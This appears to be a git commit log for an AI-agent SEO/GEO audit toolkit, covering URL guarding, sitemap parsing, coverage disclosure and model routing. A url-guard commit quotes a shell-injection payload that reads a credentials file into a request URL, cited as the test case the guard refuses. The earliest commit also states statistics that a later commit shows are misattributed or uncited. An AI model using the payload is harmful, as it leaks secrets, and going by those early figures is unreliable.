Commit Graph
26 Commits
Author SHA1 Message Date
bastien 9223fda99f feat(effort): pin effort on the 20 repo-authored agents (BDR-077 second axis) 2026-09-28 18:59:49 +02:00
Bastien Chanot c7646a9c8a feat(agents): de-prescribe geo-analyzer for Opus 5 (C1 P3)
Same invariant as adafa35. Census 71/0 green; contract surface
byte-identical; 1106→1107 lines (single-shot scoping line).

- MANDATORY/MUST caps on AI-index submission → plain content rule
- 'Print the plan before STEP 13' → single-shot-scoped (conf#1);
  tier-mapping kept in BOTH judge and template ranges (rob#1/#9,
  PERMISSIVE :873 named survivor kept)
- vestigial ':1106 Transparency §14' reworded to truth: change log is
  dispatcher's SEO.md §15 (folded into 'Dispatcher verifies')
- 'copy these patterns' → reporting-shape-to-match; FAQ '20-50'
  quantity → 'typically dozens'; 'EVERY finding' → outcome bar
- dedup after inspection: ZERO merges (PERMISSIVE ×3 cross-range;
  never-apply ×4 distinct obligations; content_quality pair =
  spec rule vs emitted-artifact caveat — annex counts corrected)
- FROZEN untouched: guard-first :273, NAP direction rule, cite-sources,
  WebSearch-freshness (already when-shaped, rob#6), all STEP headers
- deltas: MANDATORY 1→0, MUST 4→3, NEVER 9→8
2026-08-02 01:30:12 +02:00
Bastien Chanot 9e4ebb4cf4 feat(agents): W5 seo/geo 3-mode pipelines — collect sonnet / judge opus pin / template sonnet (BDR-077)
seo-analyzer + geo-analyzer gain MODE: collect|judge|template around the
dispatcher (mode-based, zero body-text moves — seo-data fetch-wiring
locks survive; opus pin kept = fail-safe direction, a forgotten override
over-tiers but never downgrades judgment). Run-scoped gitignored
signals handoff (.audit/*-signals-<RUNID>.md + COLLECTION COMPLETE
sentinel), judge fails closed on absent/mismatched/unsealed signals.
/seo rewired to 3 phases (domains parallel per phase) + DISPATCHER ERROR
CONTRACT (mute/ERROR judge never carried into templating; retry once,
escalate); /geo same single-domain; legacy no-MODE single-shot kept on
the opus pin for /harden narrow-scope + /onboard report-only. Dropped
/geo's 'ask and I relay' fiction (dispatched agents cannot ask).
In-wave smokes PASSED disk-verified: collect signals+sentinel; judge
ERROR-verdict on wrong RUNID; real judge = honest N/A + deterministic
engine + full scoring grammar; template = complete envelope + verbatim
sentinel + zero re-derivation. Census §18 (125 pass — one vacuous
line-wrapped lock caught by the census itself and fixed), make test
exit 0.
2026-07-19 23:23:10 +02:00
Bastien Chanot 354ff2644f feat(agents): pin dispatched judgment agents to opus — Fable = inline reflection only (BDR-076)
Reverses the BDR-066 rejected alternative (opus pins on audit agents):
session default is now Fable, so inherit burned Fable quota on every
dispatched audit/challenge. analyzer, plan-challenger, seo/geo/
validator-analyzer pinned model: opus; onboard's 6 general-purpose
audit dispatches carry model="opus"; tour Phase B repointed.
interviewer + client-handover-writer stay unpinned (inline-load only,
a pin there is inert). settings.json default: claude-fable-5[1m].
Census flipped: model-routing §3 + new §11 (61 pass), loops-light 35,
full make test green.
2026-07-19 17:38:55 +02:00
Bastien Chanot b271e83fb6 feat(seo-data): content_quality verb — deterministic filler/AI-slop signal
Cherry-picked from claude-seo (github.com/AgriciDaniel/claude-seo, MIT)
content_quality.py, rewritten to the lib/seo-data contract per BDR-070. The
Content Shape axis was 100% LLM judgement; this gives it a measured input.

fetch.sh content_quality (stdin or --file) → {filler_score, ai_pattern_score,
information_density, overall_quality, flags[], matches{}}. 100% deterministic:
QRG §4.6 filler list (26 phrases) + AI-pattern list (46) kept intact, regex
matching, no LLM. Stdlib only (argparse/json/re/sys/collections/typing).

Advisory, NOT a verdict — the point of the wiring. It never claims a page "is
AI-written" (LRN-131/133); flags are candidates for human review. geo-analyzer
STEP 8 Check 10 makes it a deterministic input that INFORMS checks 1-9, never
replaces them, never scored on its own. A low number is not an automatic
finding.

Detection proven both directions (a detector that always- or never-flags is
useless): filler+slop text → flags [filler, low-density], overall 34-49; clean
dense factual text (dates/EUR/percentages) → no flags, overall 90. Empty input →
degraded/empty_input, never zeros-as-a-result.

Verified: GATE 1 verifier CONFORME 10/10 (both directions exercised live, lists
diffed intact vs source, advisory language confirmed); GATE 2 self-scan clean
(only sink is read-only open() for --file); seo-data 190 → 210 pass, 0 fail;
full suite green; shellcheck + py_compile clean.
2026-07-17 19:06:58 +02:00
Bastien Chanot cfdd89e73b feat(seo-data): schema_gen verb — generate JSON-LD, not just audit it
Cherry-picked from claude-seo (github.com/AgriciDaniel/claude-seo, MIT)
schema_generate.py, rewritten to the lib/seo-data contract per BDR-070 — adapt,
never copy. The system audited JSON-LD but could not generate it; geo-analyzer's
G2 batch hand-wrote markup. Now it calls the verb.

fetch.sh schema_gen {reservation|order|discussion|profile} → fail-open envelope
{"status":"ok","source":"schema_gen","type":…,"jsonld":{…}}. Types: Reservation
(7 subtypes), OrderAction, DiscussionForumPosting, ProfilePage (sameAs/knowsAbout
for the entity graph). Stdlib only (import argparse, json — zero third-party),
_strip_nones so a null is never emitted, --script-tag wraps for direct paste.

Fail-open mirrors score.py's _cli exactly (the contract's named pattern): a
flag-omitted required field → argparse exit 2 + {"status":"error","bad_usage"};
a flag-present-but-empty field → {"status":"degraded","reason":"missing required
field: …"} exit 0. Never a traceback, never empty stdout (LRN-133: the
can't-generate case stays legible).

geo-analyzer G2 wiring preserves the data-integrity rule — the verb generates
STRUCTURE, unknown values stay [À COMPLÉTER], never invented.

Verified: GATE 1 verifier CONFORME 10/10 (exercised the fail-open edge cases +
diffed field surface against the source); GATE 2 self-scan clean (no
network/shell/secret/eval sink); seo-data 167 → 190 pass, 0 fail; full suite
green; shellcheck + py_compile clean.
2026-07-17 14:30:31 +02:00
Bastien Chanot 20d3082542 feat(seo-data,seo,geo): R2 — refuse to score what JS paints; no Playwright
Arbitrated (user): honest refusal on SPA, no headless browser.

STEP 2 has recorded `RENDERING: SSR/SSG/SPA/hybrid` since forever and NOTHING
ever acted on it. (The inventory claimed a "SPA severely limited" §0 flag
compensated — it does not exist. Seventh subagent claim this branch has had to
disprove.) So on a client-rendered site the FULL audit curls an empty shell,
every meta/H1/JSON-LD check reports "missing", and the agent emits a page of
false findings — plus a bundle that would "fix" tags which already exist.

rendercheck reads the verdict from what the server SENT. package.json cannot
tell a React SPA from a Next.js SSR app; the served bytes can. Stdlib only.

The refusal is the point:
- client-rendered → On-page is N/A, excluded from the weighted global, NOT
  scored zero. A zero says "your on-page is bad"; N/A says "we could not see
  it". Only one is true, and /client-handover gates on this number.
- No bundle item may come from a live on-page check on such a site.
- The report still says what IS auditable (robots, sitemap, headers, config,
  CrUX field data — real users, hydration included — GSC, legal, images)
  rather than returning an empty verdict.
- geo refuses Content Shape the same way, and states the sharper fact: AI
  crawlers are WORSE at JS than Googlebot. GPTBot/PerplexityBot/ClaudeBot
  fetch HTML and largely do not execute it, so a client-rendered site is not
  merely unauditable by us — it is near-invisible to the engines this audit
  exists to serve. §0 alert + SSR/SSG as the top user action.

Script/style text is not page text: a React shell with a fat inline
window.__INITIAL_STATE__ measures 7 chars. Without that skip a 200 KB bundle
reads as a rich page — the detector would fail exactly where it matters.

Verified on both extremes, not just the happy path: zenquality 7650 chars/1
h1/9 jsonld and lavageangels356 13973/1/1 → server-rendered, no warning; a
Vite/React shell fixture → client-rendered, 7/0/0, warned.

seo-data 136 -> 144 pass, 0 fail; full suite green; shellcheck + py_compile
clean.
2026-07-17 12:44:43 +02:00
Bastien Chanot dca977bb27 fix(seo-data,seo): backtest on a second, native site — two real bugs
Everything on this branch was grounded on ONE Astro repo. A native PHP site
(lavageangels356.fr) broke two things that looked fine there.

BUG 1 — sitemap counted images as pages. _locs matched
`el.tag.endswith("}loc")`, and <image:loc> from Google's image-sitemap
namespace ALSO ends with '}loc'. Astro's sitemap has no image extension, so
this was invisible. The native site's does: 24 <url> + 3 <image:loc> came back
as count=27. The COVERAGE denominator was 12.5% too high and img/logo.png was
about to be sampled and audited as a page.
Fixed with two locks: walk the DIRECT children of each <url>/<sitemap> instead
of root.iter() (which alone excludes <image:image><image:loc>), and test the
sitemaps.org namespace explicitly. Regression fixture carries the image
extension; the old endswith code returns 9 URLs against it, the new one 7 with
zero images.
Verified both sites: native 27 -> 24, zero images; Astro unchanged at 86.

BUG 2 — the C1c family heuristic was tuned to one URL layout. "First path
segment" works for NESTED city pages (/creation-site-internet/essonne-91/ →
25 pages, 1 family) and FAILS for FLAT ones (/lavage-auto-pomponne,
/lavage-auto-torcy → 8 pages, 8 singletons). Consequence: C1c's rule "sample
>=3 from the largest family" would have targeted /services (5) and missed the
8 city pages entirely — the exact doorway-page risk the 30/70 rule exists to
catch.
Family is now "shared parent path OR shared slug prefix (>=3 URLs sharing 2+
hyphen tokens)", with both real layouts as the worked examples, plus a
sanity-check: a sitemap yielding almost as many families as URLs has defeated
the heuristic, not proved the site has no templates. Fixed in seo-analyzer and
in the geo pointer that referenced it.

Backtest results on the native site for everything else: url-guard accepts the
domain; source-scope excludes only .git (no dist/build/out exists — the
exclusions are correctly no-ops, and cache/ holds only .htaccess+.gitignore so
it is rightly untouched); the sameAs check runs and finds zero (a real GEO gap
for that site, not a tool bug); links are present in the served HTML (PHP is
SSR), so C3 is feasible there.

Verified: seo-data 119 -> 122 pass, 0 fail; full suite green; py_compile clean.
2026-07-17 12:28:36 +02:00
Bastien Chanot 04ccc5ad9b fix(seo,geo): C1c — split COVERAGE source/live; the 30/70 rule needed the
opposite sample

I5 made COVERAGE mandatory and told the agent to "sample by risk, one per
template". Grounding that against a real Astro site shows the rule is half
wrong, and that one number was hiding two.

86 URLs collapse into 8 families; 75 of them (87%) come from 3 dynamic
[dept] templates. So the same 12 sampled pages are simultaneously 14% LIVE
coverage and ~100% SOURCE coverage. Reporting only 14% understates the audit;
reporting only 100% oversells it. Both lines now, in both agents — and they
bound different findings, so they must not be averaged:
  SOURCE bounds CODE (one template renders its whole family: a missing
  canonical in [dept]/index.astro breaks all 25 identically).
  LIVE bounds CONTENT (title wording, thin pages, duplication — written per
  page, so a template says nothing about its 25 instances).

The sharper half: "one per template" is CORRECT for code and WRONG for the
30/70 rule, which this same spec mandates at :954 (city pages: 30% shared,
70% unique). You cannot tell whether 25 dept pages are 70% unique by reading
one of them. The spec was mandating a check its own sampling made
structurally impossible. Sampling is now keyed to the finding class: 1 per
family for code, >=3 from the LARGEST family for duplication, spread for
per-page content.

Families come from the first path segment of the sitemap URLs (C1b) — a good
enough proxy for "same template" that needs no framework routing knowledge,
verified against the real distribution.

geo gets the same split, cut differently: JSON-LD lives in a shared layout so
SOURCE bounds Schema.org, while Definition Lead / TL;DR are written per page
so LIVE bounds Content Shape. Site-wide axes (crawler policy, llms.txt) stay
unbounded — single files, fully read.

Verified: full suite green. Caught and fixed one self-inflicted contradiction
before commit — geo's prose demanded both coverages while its output block
still had a single line.
2026-07-17 11:43:48 +02:00
Bastien Chanot 8dcdc661ce fix(seo,geo): C1a — find sees build output, grep does not; the two disagreed
Surfaced by dogfooding on a real Astro repo instead of reading the spec.

Claude Code installs a shell function routing `grep` to ugrep with
`--ignore-files`, so grep honours .gitignore and never descends into a
gitignored dist/. `find` honours nothing. seo-analyzer uses both.

Measured on zenquality (Astro, dist/ gitignored but built locally),
seo-analyzer.md:497 returned 92 images, 45 of them under dist/ — every asset
listed twice, source and generated copy, byte-identical. Two live
consequences:
- "top 20 by size" was ~10 real images dressed as 20.
- Batch C (`cwebp -q 80 <img> -o <img>.webp`) could target dist/og-image.png;
  the .webp lands in dist/ and the `npm run build` the dispatcher runs to
  VERIFY the fix erases it. Fix lands, verification passes, nothing survives,
  report says applied.

lib/source-scope.sh separates source from build output, framework-aware.
`public/` is deliberately NOT excluded by default: it is Astro/Vite/Next
SOURCE and holds favicon.ico, apple-touch-icon.png and robots.txt — the very
files STEP 4 curls. It is build output only for Hugo/Gatsby, detected from
config (legacy config.toml alone is ambiguous, so it needs archetypes/ too).
Blanket-excluding it would blind the audit to its own resource checks.

findargs emits one token per line and MUST be consumed via a quoted array.
I shipped a flat-string version first and the dogfood caught it: the shell
globs */dist/* against the CWD and passes the matches to find as search
paths, which turned 90 hits into 135 and kept every dist/ file. Both the
header and a functional test now pin that.

Also: no bundle item may target build output, in either agent. That is the
real safety net — even if some future find leaks a dist path, the fix cannot
land there. Fix the source that generates the artifact; if the source cannot
be found, that is a finding, not a reason to patch the artifact.

SCOPE CORRECTION: the proposal claimed grep was auditing 86 generated files
instead of 9 templates. That was FALSE — the ugrep shim already skips them.
Killed my own premise before coding it; the real bug is narrower and lives in
find only. Do NOT "fix" the grep lines to match: they are already correct,
and adding these exclusions there would drop public/.

Verified: 90 -> 45 images on the real repo, 0 dist survivors, public/
preserved (favicon.ico still visible); 34 new assertions PASS / 0 FAIL; full
suite green; shellcheck clean. Test file addition used the documented
one-shot config-edit sentinel.
2026-07-17 09:50:57 +02:00
Bastien Chanot 7d6aa09faf feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.

The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.

Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.

Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).

NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.

Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.

Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.

Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
2026-07-17 09:25:34 +02:00
Bastien Chanot fe93b7945b feat(geo): W3 — implement the sameAs resolution check that the spec promised
entity-seo.md:148 says "sameAs pointing to dead profiles — validate each URL
resolves", and STEP 7 asks "does the target resolve and match?". Nothing
implemented it: zero curl against a sameAs anywhere in the repo. A dead
sameAs is worse than a missing one — it asserts an identity link that fails
on follow, in the exact graph AI engines walk to confirm who you are.

The naive version of this check is a false-positive generator, which is
presumably why it stayed unimplemented. Verified live rather than assumed:

  999  linkedin.com/company/anthropic   <- blocks non-browsers
  200  wikidata.org/wiki/Q108162414
  200  x.com/anthropicai
  404  <known-dead URL>                 <- correctly detected

So the check classifies by code, not by liveness guess: 404/410 = dead
(finding with direction), 401/403/429/999 = bot-blocked (inconclusive, NO
finding, never "dead"), 000/5xx = inconclusive. No G2/G6 item may remove a
sameAs on anything but 404/410 — same shape as the NAP direction rule: an
unreliable signal read confidently is worse than no signal.

Note: the spec draft asserted "X/Twitter and Instagram commonly 403" from
plausibility. The live test returned 200 for x.com and contradicted it —
corrected to classify by observed code, never by platform folklore. Third
unverified-plausible claim caught this session (I1, I6, here); the pattern
is exactly what these fixes exist to stop.

Verified: pipeline exercised end-to-end against real endpoints; make test
35 GREEN / 0 RED.
2026-07-16 20:39:17 +02:00
Bastien Chanot 9da1dec9e6 fix(geo): I6 — every stat was real and attached to the wrong claim
Audited each statistic in agents/resources/ against primary sources after
the VSI fiction (I2) showed WebSearch launders SEO-blog consensus.

The failure mode is not invention — it is plausible recombination, which is
what a model half-remembering a search result produces:

- "Adding statistics increases AI visibility by up to 40% (Aggarwal et al.)"
  — paper real (KDD 2024), number real, SCOPE WRONG: 40% is the aggregate
  over the whole method set, domain-dependent. No per-technique figure
  exists.
- "Pages not updated quarterly are 3x more likely to lose AI citations
  (LLMRefs)" — LLMrefs' actual 3x says brand mentions correlate ~3x more
  strongly with AI visibility than backlinks. DIFFERENT SUBJECT. No source
  supports a quarterly decay multiplier.
- "QAPage cited 58% more often than Article" — uncited. Nearest real number:
  AccuraCast 2025, `Person` schema at 58.9% PREVALENCE among cited sources —
  wrong type, and its FAQPage figure (1.8%) points the opposite way to the
  claim it propped up. This one drove Tier 1 ranking.
- "62% of searches involve voice" — uncited; 62% circulates as smart-speaker
  ADOPTION. Same family as the "50% by 2020" myth ComScore denied (origin: a
  2014 Andrew Ng interview).

Corrected my own framing too: I claimed three times these stats "drive axis
weights". They do not — the weight tables carry no citations. They drive
Tier/priority recommendations and, worse, geo-analyzer's "Cite sources" rule
pushed them into CLIENT reports as research-backed.

Fixes: recommendations kept on mechanism, fabricated numbers removed with
the incident documented inline so they are not re-added. Unverified stats
(48% AI Overviews, 2.5B queries/day, Gartner -25%) labelled [UNVERIFIED]
rather than asserted or deleted — I did not check them.

Structural, not just exhortation: resources/README.md now mandates
`<claim> — <source, year, venue|vendor> — measured: <what the source ACTUALLY
measured> — <link>`. `measured:` is the field that catches this — all four
errors survive a source name; none survives stating the real measurement
next to the claim. WebSearch demoted from verification to crawler/tool-name
lookup only.

Verified: make test 35 GREEN / 0 RED.
2026-07-16 20:32:55 +02:00
Bastien Chanot 64f175f01d fix(seo,geo): I5 — disclose sampling coverage instead of implying an audit
Both agents sample (seo-analyzer.md:403 "sample 5-15 key pages",
geo-analyzer.md:460 "Sample 5-10 key pages") and neither states it. The
report says "audit". On a 500-page site a 12-page sample is 2.4%, and the
reader cannot know that unless it is printed. /client-handover gates on
these scores.

The denominator was already within reach: STEP 4 fetches sitemap.xml. Count
its URLs and the coverage ratio is free — same data C1 will use for
sitemap-driven crawl later.

- Mandatory COVERAGE line in both scoring blocks: N of M sitemap URLs (P%),
  or "total UNKNOWN" when no sitemap. Never omitted, never rounded up.
- seo: <25% coverage repeats in §0 as a major alert. Sample by risk (one
  page per template + GSC position 4-10 quick wins), name skipped templates
  — an un-sampled template is an un-audited template.
- geo: scoped honestly rather than blanket — COVERAGE bounds the per-page
  axes (Content Shape, page-level Schema.org) but NOT the site-wide ones
  (AI Crawlers Policy, llms.txt are single files, fully read). One ratio
  should not discredit axes it does not govern.

Verified: make test 35 GREEN / 0 RED.
2026-07-16 16:50:19 +02:00
Bastien Chanot 9cd7b51bb8 fix(seo,geo): dogfood on zenquality.fr — two process anomalies
Surfaced by pointing /harden at zenquality.fr from the claude-config CWD.

A1 — no CWD/target coherence guard (systemic: /seo, /geo, /harden all
lack it; grep confirms). A URL is supplied, the agent greps whatever CWD
it landed in, nobody checks they are the same site. Demonstrated live:
from claude-config, /harden would curl zenquality.fr while grepping
claude-config, then score "Config hardening" on a codebase that is not the
site. The live half looks right, the code half is fiction, and the report
reads as authoritative.
Fixed in both agents' STEP 2 rather than the 3 dispatchers: the agent does
the grepping, so the guard binds whoever calls — same principle as I3.
/harden inherits it free.

A2 — seo-analyzer had zero origin-vs-edge awareness while geo-analyzer
has the full CDN/WAF-override check (geo-analyzer.md:246-261). seo-analyzer
does the infra detection AND is reused by /harden for its whole
config-hardening axis (20/100). On zenquality — Apache origin behind a
Scaleway nginx front — repo .htaccess + `server: nginx` invites the wrong
call "nginx serves this, .htaccess is dead". I made that exact inference
myself before reading the file. Rule added at STEP 2 infra detection:
`server:` names the edge, not the origin; live-but-not-in-repo = "set
upstream", never "missing".

Verified: live probe of zenquality.fr (read-only, nothing written to the
client repo); make test 35 GREEN / 0 RED.
2026-07-16 16:25:16 +02:00
Bastien Chanot 8b0c98c99a fix(geo): I3 — port NAP direction rule (LRN-032) into geo-analyzer spec
geo-analyzer owns JSON-LD NAP (ownership matrix, seo/SKILL.md:261) and can
rewrite it via G2 — AUTO tier, no confirmation (geo-analyzer.md:660). The
LRN-032 protection lived ONLY in the /seo dispatcher prompt
(seo/SKILL.md:339-343), so standalone /geo reconciled NAP with no canonical
and no anti-seed guard — the exact zenquality trap, writing into client
structured data.

Root cause: a safety invariant that depended on the caller. Fixed at the
layer that owns the data.

- Data integrity: NAP direction rule, caller-independent, binds G2/G6.
  Covers CREATE (LocalBusiness from scratch) not just rewrite — geo builds
  missing schemas, seo-analyzer's wording only covered rewrite.
- STEP 6 checklist: pointer at the line that triggers the action.

Absent canonical is already the safe default (no directional fix), so no
NAP collection step is needed in /geo — that would duplicate seo/SKILL.md
STEP 0 and risk drift.

Verified: make test 25+5+5 GREEN / 0 RED (incl. G3 strict-YAML frontmatter).
2026-07-16 16:06:30 +02:00
Bastien Chanot 8614bc5760 feat(seo/geo): projected code-only score + 17/20 trajectory, wired into client-handover
- Analyzers (seo/geo): every finding tagged fixable:code|user; mandatory
  projected axis+global scores (bundle fully applied), honest code
  ceiling, TRAJECTORY TO 17/20 block (ranked code fixes or ceiling +
  unlocking user actions)
- /seo: §1 carries actual+projected columns + merged trajectory; console
  shows projected scores + trajectory one-liner
- /geo: audit-end deliverables (HUMAN-ACTIONS.md, trajectory in report +
  console) even in conservative mode — parity with /seo
- client-handover: fix loop breaks at code ceiling (score ≥ projected−0.2)
  instead of burning iterations on user-bound points; STEP 8 gate gains
  the code-ceiling pass (gap items land verbatim in client doc §5 with
  expected gains, explicit status in score table); §4 NAP table consumes
  NAP-KIT.md first; §5 consumes HUMAN-ACTIONS.md first; HANDOVER-ROADMAP
  splits CODE-BLOQUÉ vs CLIENT-BLOQUÉ
2026-07-10 18:06:32 +02:00
Bastien Chanot f0111e107d fix(geo-analyzer): drop false CLAUDE.md attribution, own-policy PERMISSIVE default
geo-analyzer asserted 'PERMISSIVE default per user CLAUDE.md' in 2 sites (L224,
L867-869) but CLAUDE.md carries no PERMISSIVE/RESTRICTIVE crawler policy. Reframed
as the agent's own policy grounded in GEO's purpose (an AI-visibility audit defaults
to allowing AI crawlers); default unchanged. Completes job3 C6/C7/C8 scrub (which
missed geo) — job9's later rewrite also left it. User-approved wording. Review A5.
2026-07-08 15:19:52 +02:00
Bastien Chanot 6df42e4f9a job9: re-architect geo-analyzer to fix-bundle→L1 (path b, no nested dispatch) 2026-07-08 12:24:22 +02:00
Bastien Chanot 86914a9549 job3: C3 geo-analyzer standalone report path -> .claude/audits/ (completes 7b57b2e) 2026-07-06 16:51:10 +02:00
Bastien Chanot 18c1b327c3 job2: F12 subordinate 6 agent descriptions to their skills 2026-07-06 12:19:08 +02:00
Bastien ChanotandClaude Fable 5 4d9cd7efe4 fix(geo-analyzer): define unreachable operationally
Both blind judges flagged the same residual: without a detection
criterion, a /seo-dispatched subagent could misread itself as headless
and degrade to report-only. Unreachable = no answer obtainable at all
(cron/CI, user explicitly absent); orchestrator dispatch with a main
thread that can relay questions is reachable.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-11 19:25:40 +02:00
Bastien ChanotandClaude Fable 5 83e9871bc4 fix(geo-analyzer): headless run never applies fixes autonomously
Live darwin test: with the user unreachable, the triage table's
"Confirmation: No" batches edited 2 source HTML files unsupervised.
Autonomous batches presume a reachable user who saw the printed plan;
headless -> all batches report-only with ready-to-apply content.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-11 19:09:44 +02:00
bastien 257e78317a optimize(geo): add QUICK REFERENCE typical findings section + 5 worked examples (d8 target) 2026-05-06 18:22:19 +02:00
bastienandClaude Opus 4.7 476195978e feat(seo/geo): CMS plugin-first + shared-file edit discipline + Bing/IndexNow mandatory
Post-review hardening of the parallel seo+geo dispatch:

- skills/seo/SKILL.md: shared-file edit discipline embedded in both dispatch prompts (Edit-only on shared templates, Write only on sole-owned files). CROSS-AGENT NOTES flow clarified — dispatcher escalates to SEO.md §11 as user action with automation options (Option B).
- agents/seo-analyzer.md: STEP 2 detects 8 CMS (WordPress/Drupal/Magento/Shopify/Joomla/PrestaShop/Ghost/Wix-Squarespace-Webflow) and presence of SEO plugins. STEP 10 emits P0 quick win "install CMS plugin" when CMS detected without plugin. STEP 5 expands topic clusters / silos sémantiques. Framework notes in STEP 12 cover all 8 CMS explicitly.
- agents/geo-analyzer.md: STEP 6 checks /faq path + FAQPage schema presence. STEP 11 mandates 3 AI-index user actions per FULL audit (Bing Webmaster Tools / GSC / IndexNow) + Apple Business Connect for local business.
- agents/resources/automation-catalog.md: new structured CMS plugin section (install links + pricing per platform). AI-index submission section rewritten with Bing Webmaster as canonical entry for ChatGPT Search/Copilot/DuckDuckGo, IndexNow protocol details, Brave Web Discovery, Apple Business Connect.
- agents/resources/llms-txt-template.md: explicit note that /ai.txt and /about-data are NOT real standards; llms.txt (Jeremy Howard) remains the only proposed one.

Rationale: third-party AI review of the skill surfaced 5 gaps — race condition on shared templates (Layout.astro holds meta + JSON-LD), ambiguous cross-agent flow, missing CMS-plugin-first logic (Gemini), under-exposed Bing Webmaster (ChatGPT Search channel), and minor accuracy items.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-21 16:57:32 +02:00
bastienandClaude Opus 4.7 95347d2e47 feat(seo/geo): split into parallel seo + geo agents with shared resources
Refactor the monolithic seo-analyzer into two specialist agents
orchestrated in parallel by the /seo skill, plus a standalone /geo
skill for AI-only audits.

Changes
- agents/seo-analyzer.md: refocused on classical engines (Google, Bing,
  DuckDuckGo). Adds Core Web Vitals 2.0 (LCP/INP/CLS + VSI), CSP + full
  security headers, hreflang audit, video SEO (transcripts), accessibility
  as ranking signal, image/video sitemaps.
- agents/geo-analyzer.md: new agent for AI engines (ChatGPT, Claude,
  Perplexity, Gemini, Google AI Overviews, Copilot). Covers AI crawler
  policy, llms.txt/llms-full.txt, Schema.org for AI extraction (QAPage,
  Speakable, Person+Article, Organization graph), entity SEO (Wikidata,
  sameAs, Knowledge Panel), content shape (Definition Lead, TL;DR,
  Q->A, citable stats, freshness), AI visibility testing.
- agents/resources/: shared knowledge base referenced by both agents —
  ai-crawlers-2026.md (25+ bots, training vs retrieval categories,
  permissive/restrictive templates), llms-txt-template.md, geo-schemas.md
  (incl. deprecated list: ClaimReview, CourseInfo, etc. removed June 2025),
  entity-seo.md, content-shape-for-ai.md, ai-visibility-tools.md,
  automation-catalog.md.
- skills/seo/SKILL.md: becomes parallel dispatcher. Collects context
  once (depth + business), spawns both agents in a single message for
  concurrent execution, merges envelopes into unified SEO.md. Includes
  authoritative file-ownership matrix to prevent parallel-edit races.
- skills/geo/SKILL.md: new standalone wrapper for GEO-only audits.

Scoring
- Combined score: GLOBAL = 0.80 * SEO + 0.20 * GEO (local B2C),
  0.75 * SEO + 0.25 * GEO (SaaS/national/content).
- GEO axis weight raised from 5% (old) to first-class dimension.

Policy
- AI crawlers: permissive default (maximise AI citations). Restrictive
  template available for premium/regulated content.
- Every user action in SEO.md section 11 must cite automation options
  from automation-catalog.md.

Tools
- WebFetch + WebSearch added to allowed-tools of both skills and
  both agents (needed for live CWV via PageSpeed API, AI visibility
  testing, Wikidata/Knowledge Panel lookups, competitor analysis).

Research basis (2026 state of the art validated via WebSearch):
- Core Web Vitals 2.0 (VSI signal, Google core update March 2026)
- AI Overviews trigger on ~48% of Google searches
- ClaimReview + 6 other schema types deprecated June 2025
- Definition Lead Architecture (CMU KDD 2024, +impression score)
- Citations + stats add up to 40% AI visibility (Aggarwal 2024)
- Wikidata grounds every major LLM (ChatGPT, Claude, Gemini, Perplexity)

Backup
- agents/seo-analyzer.md.bak kept for rollback reference.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-21 16:16:30 +02:00